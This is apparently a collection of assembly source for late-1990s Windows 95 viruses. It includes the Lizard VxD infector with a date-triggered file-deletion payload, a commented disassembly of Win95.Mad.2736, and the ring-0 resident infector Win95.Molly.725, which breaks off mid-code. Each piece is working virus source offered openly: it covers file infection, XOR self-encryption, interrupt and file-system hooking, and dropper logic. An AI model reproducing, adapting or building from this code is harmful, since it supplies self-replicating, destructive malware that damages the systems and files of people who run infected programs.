BeginProc LZD_Device_Init
;trigger
mov ah,2ah ;get date
vxdint 21h
;live drazil si
cmp dh,10 ;26.10.?
jne npload
cmp dl,26
jne npload
mov pflag,1 ;hehe
npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh ;exec
je short ww
cmp [ebp.Client_AH],3ch ;create
je short ww
cmp [ebp.Client_AH],6ch ;ext. open
je short ww
cmp [ebp.Client_AH],3eh ;close
je short ww
cmp [ebp.Client_AH],4eh ;find first
je short ww
jmp prevhook
ww:
Push_Client_State ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h ;open lzd.vxd
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
vxdint 21h
jc ecsit ;skip it
rd:
xchg ax,bx
mov ah,3fh ;store the header of the vxd
mov cx,vxdhsize
lea edx,vxdheader
vxdint 21h
mov ax,4201h ;jmp over zeros
xor cx,cx
mov dx,3400
vxdint 21h
mov ah,3fh ;store the vxddata
mov cx,vxddsize
lea edx,vxddata
vxdint 21h
mov ax,4201h ;jmp over realmodecode and zeros
xor cx,cx
mov dx,2037
vxdint 21h
mov ah,3fh ;store the vxdcode
mov cx,vxdcsize
lea edx,vxdcode
vxdint 21h
mov ah,3eh ;close...
vxdint 21h
mov dflag,1 ;set flag
;-----------------------------------------------------------------------------
done:
mov ah,1ah ;set dta
lea edx,ndta
vxdint 21h
ffirst:
mov ah,4eh ;search for first exe
jmp short w
fnext:
mov ah,4fh ;find next exe
w:
mov cx,7
lea edx,wcard ;*.e?e
vxdint 21h
jc ecsit
mov ax,4301h ;set normal attribute
mov cx,20h
lea edx,[ndta + 30]
vxdint 21h
cmp pflag,1 ;sux0ring microsuckers
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
evil:
;evil payload against the imperialism of microsoft!
mov ah,41h ;yhcrana
lea edx,[ndta + 30]
vxdint 21h
jmp ecsit
pheeew:
mov ax,3d02h ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx
mov ah,3fh ;read header
mov cx,26
lea edx,header
vxdint 21h
cmp word ptr [header],'ZM' ;exe?
jne cfile
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
jne cfile
cmp word ptr [header + 18h],40h ;win exe?
je cfile
mov al,[header + 12h] ;infected?
or al,al
jne cfile
;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax
;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
;calc new cs:ip
mov cx,16
div cx
sub ax,word ptr [header + 8]
mov word ptr [header + 14h],dx
mov word ptr [header + 16h],ax
add edx,vend ;calc stack
mov word ptr [header + 0eh],ax
mov word ptr [header + 10h],dx
;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value
mov edi,offset32 encstart
mov cx,esize
xl:
xor [edi],al
inc edi
loop xl
;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h
;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize
xll:
xor [edi],al
inc edi
loop xll
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
mov cx,512 ;calc pages
div cx
or dx,dx
jz short np
inc ax
np:
mov word ptr [header + 4],ax
mov word ptr [header + 2],dx
mov ax,4200h ;bof
xor cx,cx
cwd
vxdint 21h
rnd:
in al,40h ;set infection flag
or al,al
je rnd
mov [header + 12h],al
mov ah,40h ;write new header
mov cx,26
lea edx,header
vxdint 21h
cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h
mov cx,word ptr [ndta + 22] ;restore time/date
mov dx,word ptr [ndta + 24]
mov ax,5701
vxdint 21h
mov ah,3eh ;close file
vxdint 21h
jmp fnext
ecsit:
VMMcall End_Nest_Exec
Pop_Client_State
prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...
;---[RMLZD.ASM]---------------------------------------------------------------
;Lizard's real mode portion
.286
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
rmsize equ rmend - rmstart
.model tiny
.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp
push cs
pop ds
;decrypt it
db 176 ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
int 21h
jnc cfile ;exit if already installed
mov ah,3ch ;install lzd.vxd
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jc exit
inst:
xchg ax,bx
mov ah,40h ;write the header
mov cx,vxdhsize
lea dx,[bp + offset vxdheader]
int 21h
;write some zeros
mov cx,3400
lzero:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero
mov ah,40h ;write the data
mov cx,vxddsize
lea dx,[bp + offset vxddata]
int 21h
mov ah,40h ;write the rmcode
mov cx,rmsize
lea dx,[bp + offset rmstart]
int 21h
;write some more zeros
mov cx,1732
lzero2:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero2
mov ah,40h ;write the code
mov cx,vxdcsize
lea dx,[bp + offset vxdcode]
int 21h
cfile:
mov ah,3eh
int 21h
;exe return
exit:
pop ax ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax
;stack
db 5 ;add ax
sseg dw 0fff0h ;test
mov ss,ax
db 0bch ;mov sp
ssp dw 0fffeh
db 0eah
csip dd 0fff00000h
zero db 0
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start
;---[RMLZD.INC]---------------------------------------------------------------
;Modified db listing of rmlzd.com
start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
db
;db 0F0h, 0FFh
sseg dw 0fff0h ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
db
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;db
;db
;db
;db
;db
;db
;db
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;db
;db
;db
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:
;---[LZD.DEF]-----------------------------------------------------------------
VXD LZD DYNAMIC
DESCRIPTION ''
SEGMENTS
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_PTEXT CLASS 'PCODE' NONDISCARDABLE
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
_STEXT CLASS 'SCODE' RESIDENT
_SDATA CLASS 'SCODE' RESIDENT
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
_RCODE CLASS 'RCODE'
EXPORTS
LZD_DDB @1
;---[MAKEFILE]----------------------------------------------------------------
NAME = lzd
LINK = LINK
ASM = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD
.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<
all : $(NAME).VXD
OBJS = lzd.obj
lzd.obj: lzd.asm
$(NAME).VxD: $(NAME).def $(OBJS)
link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).VxD
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<
@del *.exp>nul
@del *.lib>nul
@del *.map>nul
@del *.obj>nul
;...

View File

@ -0,0 +1,525 @@
;Win95.Mad.2736 disassembly
;(c) Vecna/29A
;Here is the disassembly of one of the first Win95 virus, that implemented
;several original features. It was the first encripted win95 virus, and
;the second one to not add a new section to the host (the first according
;to AVPVE) the first was actually Win32.Jacky. When executed,
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
;and call they everytime that need get a function, instead of searching
;once and storing the API address. Anyway, the API search dont seens reliable
;enought, and i cant make it replicate in my machine.
;A special thank goes this time for VirusBuster, my virus provider, that
;always have nice virii for me... :-)
;Tasm /m w95mad.asm
.386p
.model flat
.data
dd ?
.code
start:
call delta
delta:
pop edi
mov eax, edi
old_RVA:
sub eax, 2005h ;setup host entry point
sub edi, offset delta
mov ds:HostEntry[edi], eax
mov ds:SaveEBP[edi], ebp
mov ebp, edi
xor eax, eax
mov edi, offset start_encript
add edi, ebp
mov ecx, 0A6Bh
mov al, ss:Key[ebp]
decript_loop:
xor [edi], al
inc edi
loop decript_loop
jmp short start_encript
HostEntry dd 0
SaveEBP dd 0
Key db 0
start_encript:
mov ss:TotalInf[ebp], 0
mov eax, 4550h
mov edi, 0BFF70000h
mov ecx, 1000h
cld
search_kernel:
repne scasw
jnz return_host
add ss:Seed[ebp], edi
dec edi
dec edi
cmp word ptr [edi+4], 14Ch
jnz short search_kernel
cmp word ptr [edi+14h], 0
jz short search_kernel
mov bx, [edi+16h]
and bx, 0F000h
cmp bx, 2000h ;is a DLL?
jnz short search_kernel
cmp dword ptr [edi+34h], 0BFF70000h
jl short search_kernel
mov eax, [edi+34h]
mov ss:KernelBase[ebp], eax
xor eax, eax
mov ax, [edi+14h]
add eax, edi
add eax, 18h
mov cx, [edi+6] ;number of sections
search_edata:
cmp dword ptr [eax], 'ADE.'
jnz short no_edata
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
jz short found_export ;export section
no_edata:
add eax, 28h
dec cx
or cx, cx
jnz short search_edata
jmp return_host
found_export:
mov ebx, [eax+0Ch]
add ebx, ss:KernelBase[ebp]
mov edi, [ebx+20h]
add edi, ss:KernelBase[ebp]
mov ecx, [ebx+14h]
sub ecx, [ebx+18h]
mov eax, 4
mul ecx
mov ss:pAPIRVA[ebp], eax
mov ecx, [ebx+18h]
mov eax, 4
mul ecx
xchg eax, ecx
xchg edi, edx
search_APIs:
sub ecx, 4
mov edi, edx
add edi, ecx
mov edi, [edi]
add edi, ss:KernelBase[ebp]
lea esi, szGetProcAddres[ebp]
lea eax, pGetProcAddress[ebp]
call extract_addr
lea eax, pGetModuleHdle[ebp]
lea esi, szGetModuleHdle[ebp]
call extract_addr
cmp ecx, 0
jnz short search_APIs
cmp ss:pGetProcAddress[ebp], 0
jz return_host
cmp ss:pGetModuleHdle[ebp], 0
jz return_host
lea eax, _Kernel32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz return_host
lea eax, _GetDir[ebp]
call get_api_addr
jb _check_payload
lea edx, CurrentDir[ebp]
push edx
push 0FFh ;save current directory
call eax
find_filez:
lea eax, _FFile[ebp]
call get_api_addr
jb no_payload
mov edx, offset FINDATA ;start of find struct
add edx, ebp
push edx
mov edx, offset ExeMask
add edx, ebp
push edx
call eax
mov ss:SearchHandle[ebp], eax
cmp eax, 0FFFFFFFFh
jz change_dir ;error, then go down a dir
infect_next:
mov eax, dword ptr ss:FileName[ebp]
xor ss:Seed[ebp], eax
cmp eax, 186A0h
jnb error_close
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
jnz error_close ;win95 never set this, so
lea eax, _CreateFile[ebp] ;probably is a safeguard
call get_api_addr ;to no infect own hdd
jb no_payload
push 0
push ss:FINDATA[ebp]
push 3
push 0
push 0
push 0C0000000h
mov edx, offset FileName2
add edx, ebp
push edx
call eax
cmp eax, 0FFFFFFFFh
jz find_next
mov ss:FileHandle[ebp], eax
mov edi, 3Ch
call file_seek
mov edi, offset PEPointer
add edi, ebp
mov ecx, 4
call read_file
jb error_close
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call read_file
cmp ss:PEHeader[ebp], 4550h
jnz error_close
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
jz error_close
xor esi, esi
xor eax, eax
mov ax, ss:NumberSections[ebp]
dec ax
mov ecx, 28h
xor edx, edx
mul ecx
mov si, ax
mov eax, 0BB8h
mov ecx, ss:FileAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
add ss:szRVA[ebp+esi], eax ;virtual size of section
mov eax, 7D0h
mov ecx, ss:ObjAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
mov ecx, edx
add edx, ss:szRAW[ebp+esi] ;size of raw data
push edx
add ss:pRAW[ebp+esi], eax ;pointer to raw data
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
add ecx, ss:RVA[ebp+esi] ;RVA of section
mov edx, ss:EntryRVA[ebp]
mov ss:EntryRVA[ebp], ecx
sub ecx, edx
add ecx, 5
mov dword ptr ss:old_RVA+1[ebp], ecx
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call write_file ;write the modificated
pop edi ;header info
add ss:Seed[ebp], edi
call file_seek
mov eax, ss:Seed[ebp]
neg eax
mov ss:Key[ebp], al
mov esi, offset start
add esi, ebp
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
cld
repe movsb ;zopy virus to work area
mov edi, offset EncriptedBody
add edi, ebp
add edi, 45h
mov ecx, 0A6Bh
mov al, ss:Key[ebp]
enc_loop:
xor [edi], al ;encript it
inc edi
loop enc_loop
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
call write_file ;attach virus
error_close:
not ss:Seed[ebp]
lea eax, _CloseFile[ebp]
call get_api_addr
jb short _check_payload
push ss:FileHandle[ebp]
call eax
find_next:
lea eax, _FNFile[ebp]
call get_api_addr
jb short _check_payload
lea edx, FINDATA[ebp]
push edx
push ss:SearchHandle[ebp]
call eax
cmp eax, 0
jnz infect_next
change_dir:
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
jz short _check_payload ;infected
lea eax, _SetDir[ebp]
call get_api_addr
jb short _check_payload
lea edx, DotDot[ebp] ;go down a directory
push edx
call eax
inc ss:TotalInf[ebp]
cmp eax, 1
jz find_filez
_check_payload:
jmp short check_payload
read_file:
push edi
push ecx
lea eax, _ReadFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short rf_addr_ok
stc
retn
rf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
write_file:
push edi
push ecx
lea eax, _WriteFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short wf_addr_ok
stc
retn
wf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
file_seek:
lea eax, _FileSeek[ebp]
call get_api_addr
push 0
push 0
push edi
push ss:FileHandle[ebp]
call eax
retn
check_payload:
lea eax, _GetTime[ebp]
call get_api_addr
jb short no_payload
lea edx, SYSTIME[ebp]
push edx
call eax
cmp ss:cDay[ebp], 1
jnz short no_payload
lea eax, _User32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax ;get handle for USER32.DLL
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz short no_payload
lea eax, _MsgBox[ebp]
call get_api_addr
jb short no_payload
push 1030h
mov edx, offset MsgTitle
add edx, ebp
push edx
mov edx, offset MsgText
add edx, ebp
push edx
push 0
call eax ;pop a MessageBox with virus
lea eax, _Kernel32[ebp] ;credits
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
no_payload:
lea eax, _SetDir[ebp]
call get_api_addr
jb short return_host
lea edx, CurrentDir[ebp]
push edx
call eax
return_host:
mov edi, ebp
mov ebp, ds:SaveEBP[edi]
jmp ds:HostEntry[edi]
extract_addr:
pusha
mov ecx, [esi]
add esi, 4
repe cmpsb ;is api we want?
popa
jnz short no_func
xchg eax, esi
mov eax, [ebx+1Ch]
add eax, ss:pAPIRVA[ebp]
add eax, ss:KernelBase[ebp]
add eax, ecx
mov eax, [eax]
add eax, ss:KernelBase[ebp]
mov [esi], eax ;set adress
no_func:
retn
get_api_addr:
push eax
mov eax, ss:KernelHandle[ebp]
push eax
call ss:pGetProcAddress[ebp]
cmp eax, 0
jnz short proc_found
stc ;set carry on error
proc_found:
retn
KernelBase dd 0
pAPIRVA dd 0
pGetProcAddress dd 0
szGetProcAddres dd 0Fh ;size of string to search
db 'GetProcAddress',0
pGetModuleHdle dd 0
szGetModuleHdle dd 11h ;size of string to search
db 'GetModuleHandleA',0
_Kernel32 db 'KERNEL32',0
_User32 db 'USER32',0
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
_FFile db 'FindFirstFileA',0 ;and all these otherz from
_CreateFile db 'CreateFileA',0 ;kernel32
_CloseFile db 'CloseHandle',0
_ReadFile db 'ReadFile',0
_WriteFile db 'WriteFile',0
_FileSeek db 'SetFilePointer',0
_FNFile db 'FindNextFileA',0
_GetTime db 'GetLocalTime',0
_SetDir db 'SetCurrentDirectoryA',0
_GetDir db 'GetCurrentDirectoryA',0
KernelHandle dd 0 ;also used for USER32.DLL
;when using payload
MsgTitle db 'Multiplatform Advanced Destroyer',0
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
db 'Welcome to my first virus for Windoze95...',0Dh
db 'Distribution & Copyright by Black Angel 1997',0
;uhh... a confession... ;-)
ExeMask db '*.eXe',0
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
DotDot db '..',0 ;for directory changing
SearchHandle dd 0
FileHandle dd 0
NumRead dd 0
Seed dd 0
SYSTIME equ this byte
cYear dw 0
cMonth dw 0
cDWeek dw 0
cDay dw 0
cHour dw 0
cMin dw 0
cSec dw 0
cMlSec dw 0
FINDATA dd 0 ;File Attribute
dd 0 ;Creation Date
dd 0 ;Last Acess Date
dd 0 ;Last Write Date
dd 0 ;File Size h
dd 0 ;File Size l
dd 0 ;Reserved
Security dd 0
FileName db 0Ch dup(0)
FileName2 db 200h dup(0)
PEPointer dd 0
TotalInf db 0
CurrentDir db 100h dup(0)
PEHeader dd 0 ;from here to end, are all
dw 0 ;bufferz that w95.mad.2736
NumberSections dw 0 ;use for read, encription
db 20h dup(0) ;and like...
EntryRVA dd 0
db 0Ch dup(0)
FileAlign dd 0
ObjAlign dd 0
db 18h dup(0)
InfectionMark dd 0
EncriptedBody db 0A4h dup(0)
szRVA dd 0
RVA dd 0
pRAW dd 0
szRAW dd 0
dd 0
dd 0
dd 0
ObjAttr dd 0
db 608Ch dup(0)
end start

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,540 @@
; [Win95.Molly.725] - An experimental specimen
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; [ Introduction ]
;
; This is an experimental virus. After Win32.Legacy i needed to do something
; small and functional. And here it is. This is my third Ring-0 virus,but the
; code scheme is different this time from my two other R0's (Garaipena and
; PoshKiller). This virus was written just at the same time while i started
; to read Neuromancer, and as you can see, its name comes from the girl with
; specular lens, that is one of the main characters of the book (hey, don't
; hesitate and read it!).
;
; [ Features ]
;
; + Ring-0 virus by means of modifying the IDT
; + Resident fast infector of PE files with EXE extension
; + Infects when system opens file
; + Overwriting virus (heheh, don't go mad, overwrite relocs) :)
; + AntiMonitor tunneling (through InstallFileSystemApiHook structure)
; + Heavy optimization (at least i've tried to), only 725 bytes
; + My smallest virus so far :)
;
; [ Greetings ]
;
; + Wintermute &
; zAxOn - Thanx for pushing me to read Neuromancer... W0W!
; + Qozah/29A - Thanx for your help and support, dude
; + Benny/29A - I wanna hear that Czech group ;)
; + Super/29A - Why are you always in my greets? :)
; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex
; + b0z0/iKX - Padania Libera rules!
;
; (c) 1999 Billy Belcebu/iKX
.586p
.model flat,stdcall
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "[Win95.Molly."
db virus_size/0100 mod 10 + "0"
db virus_size/0010 mod 10 + "0"
db virus_size/0001 mod 10 + "0"
db "]",0
szMessage db "First generation host",10
db "(c) 1999 Billy Belcebu/iKX",0
.code
virus:
int 3
jmp molly1
fakehost:
call MessageBoxA,00h,offset szMessage,offset szTitle,1000h
call ExitProcess,00h
; ===========================================================================
; Win95.Molly
; ===========================================================================
molly segment dword use32 public '.molly'
; --- Virus mode
DEBUG equ FALSE
; --- Some equates
d equ <[ebp]-offset delta>
rd equ <[ebp]-offset r0delta>
rd_ equ <[ebx]-offset r0delta>
virus_size equ virus_end-virus_start
heap_size equ heap_end-virus_end
total_size equ virus_size+heap_size
TRUE equ 01h
FALSE equ 00h
PUSHAD_EDI equ 00h
PUSHAD_ESI equ 04h
PUSHAD_EBP equ 08h
PUSHAD_ESP equ 0Ch
PUSHAD_EBX equ 10h
PUSHAD_EDX equ 14h
PUSHAD_ECX equ 18h
PUSHAD_EAX equ 1Ch
PUSHAD_SIZE equ 20h
; --- VxD Functions
VMM_Get_DDB equ 00010146h
IFSMgr_GetHeap equ 0040000Dh
IFSMgr_RetHeap equ 0040000Eh
IFSMgr_Ring0_FileIO equ 00400032h
IFSMgr_InstallFileSystemApiHook equ 00400067h
; --- Hooked Functions
IFSFN_FILEATTRIB equ 21h
IFSFN_OPEN equ 24h
IFSFN_RENAME equ 25h
; --- IFSMgr_Ring0_FileIO functions used
R0_FILEATTRIBUTES equ 04300h
R0_OPENCREATFILE equ 0D500h
R0_CLOSEFILE equ 0D700h
R0_READFILE equ 0D600h
R0_WRITEFILE equ 0D601h
; --- Macro land
dbg macro shit2do
IF DEBUG
shit2do
ENDIF
endm
beep macro
mov ax, 1000
mov bx, 200
mov cx, ax
mov al, 0B6h
out 43h, al
mov dx, 0012h
mov ax, 34DCh
div cx
out 42h, al
mov al, ah
out 42h, al
in al, 61h
mov ah, al
or al, 03h
out 61h, al
l1: mov ecx, 4680d
l2: loop l2
dec bx
jnz l1
mov al, ah
out 61h, al
endm
VxDCall macro VxDService
int 20h
dd VxDService
endm
VxDJmp macro VxDService
int 20h
dd VxDService+8000h
endm
virus_start label byte
; --- Virus entrypoint
molly1: jmp gdelta
; --- Virus data
kernel dd 00000000h
; --- Virus code
gdelta: call delta ; Get a relative offset
delta: pop ebp
push 05h ; ECX = 5
pop ecx ; (limit for 'GetImageBase')
mov esi,ebp ; ESI = Relative offset
call GetImageBase ; Get host's imagebase
mov ModBase d,eax ; Store it
mov ecx,cs ; Avoid installation if we're
xor cl,cl ; in WinNT
jecxz GimmeSomethingBaby
push 05h ; ECX = 5
pop ecx ; (limit for 'GetImageBase')
mov esi,[esp]
call GetImageBase
mov kernel d,eax
push edx
sidt fword ptr [esp-2] ; Interrupt table to stack
pop edx
IF DEBUG
add dl,((5*8)+4)
ELSE
add dl,((3*8)+4)
ENDIF
mov ebx,[edx]
mov bx,word ptr [edx-4]
lea esi,NewInt3 d
mov [edx-4],si
shr esi,16 ; Move MSW to LSW
mov [edx+2],si
IF DEBUG
int 5
ELSE
int 3
ENDIF
mov [edx-4],bx
shr ebx,16
mov [edx+2],bx
GimmeSomethingBaby:
mov ebx,00400000h ; Get at runtime
ModBase equ $-4
add ebx,(fakehost-virus)+00001000h ; Get at infection time
OldEIP equ $-4
jmp ebx
NewInt3:
pushad
dbg
mov eax,kernel d ; EAX = K32 imagebase
add al,38h ; Ptr to an unused field
cmp word ptr [eax],0CA5Eh ; Already installed?
jz already_installed ; If so, exit
mov word ptr [eax],0CA5Eh ; Case is here...
fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for
; manipulate more than 4 bytes?
; (without MMX, dork ;)
push total_size
@@1: VxDCall IFSMgr_GetHeap
xchg eax,ecx
pop eax
fistp real8 ptr [ebp+(@@1-delta)]
jecxz already_installed
xchg eax,ecx
mov edi,eax
lea esi,virus_start d
rep movsb
lea edi,[eax+(FileSystemHook-virus_start)]
xchg edi,eax
push eax
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ebx
xchg esi,eax
push esi
add esi,04h
tunnel: lodsd
xchg eax,esi
add esi,08h
js tunnel
mov dword ptr [edi+(top_chain-virus_start)],eax
pop eax
mov dword ptr [edi+(OldFSA-virus_start)],eax
and byte ptr [edi+(semaphore-virus_start)],00h
already_installed:
popad
iret
; --- The new FileSystem hook ;)
FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\
ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD
cmp Function,IFSFN_OPEN ; File Open? Infect if it is
jz infect
ExitFileSystemHook:
mov eax,12345678h
org $-4
OldFSA dd 00000000h
call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \
StrCodePage, PtrIOREQ
ret
FileSystemHook endp
r0fio: VxDJmp IFSMgr_Ring0_FileIO
R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO
dw 0000h
pe_header_ptr dd 00000000h
top_chain dd 00000000h
semaphore db 00h
infect:
pushfd
pushad
call r0delta
r0delta:pop ebx
